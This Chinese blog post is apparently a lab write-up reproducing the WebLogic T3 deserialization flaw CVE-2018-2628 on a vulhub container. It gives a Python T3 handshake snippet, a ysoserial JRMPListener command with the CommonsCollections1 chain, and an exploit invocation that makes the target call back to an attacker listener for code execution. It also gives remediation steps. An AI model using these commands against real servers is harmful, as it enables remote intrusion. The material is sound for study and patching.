- 前言
- T3协议概述
- 漏洞复现
- 修复方案
前言
WebLogic Server 是一个企业级的应用服务器,由Oracle公司开发,支持完整的Java EE规范,包括EJB、JSP、Servlet、JMS等,适合大型分布式应用和高负载场景。
T3协议概述
T3协议(Two-Tier TCP/IP Protocol),是WebLogic中的一种专有协议,建立在TCP/IP协议之上,它是WebLogic的默认通信协议,主要用于在客户端和服务器之间进行通信。
在Weblogic中RMI通信的实现是使用T3协议(通常RMI通信使用的是JRMP协议),并且在T3的传输过程中,和RMI一样,会进行序列化和反序列化的操作。所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。
在T3的这个协议里面包含请求包头和请求的主体这两部分内容。
请求包头(handshake):它负责定义了数据包的基本结构和传输协议的版本信息。
使用Python发送一个请求包的头:
import socket# "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a"
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)
Wireshark对它进行抓包:
这个请求包头表明使用的是T3协议的12.2.3版本,而响应包头中HELO后面的内容则是被连接的weblogic的版本号12.2.1.3.0。
请求包头之后是请求的主体,其中传输的都是序列化数据。
以poc发送的数据包脚本为例:
第三个数据包中包括长度和在反序列化数据之前的T3协议头,以ac ed 00 05
开头的这些都是序列化的数据。所以只要要把其中一部分替换成我们要利用的序列化数据就可以。本质就是把ysoserial生成的payload变成t3协议里的数据格式
漏洞复现
影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
环境搭建:使用 vulhub 搭建
cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d
通过nmap可以探测Weblogic的T3协议是否启用,以及版本号:
利用 ysoserial 的攻击流程都大同小异,首先使用JRMPListener开启一个JRMP服务监听,利用链这里选择CC1链。
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"
使用 exp 脚本(python2脚本,python3运行报错),向目标Weblogic发送Payload:
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient# 192.168.88.150 是靶机IP,7001是Weblogic端口
exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:
执行docker compose exec weblogic bash
进入容器中,可见文件已成功创建:
除了RCE,还能反弹shell都是类似的操作。
修复方案
-
关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。
-
更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。
-
更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。
参考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ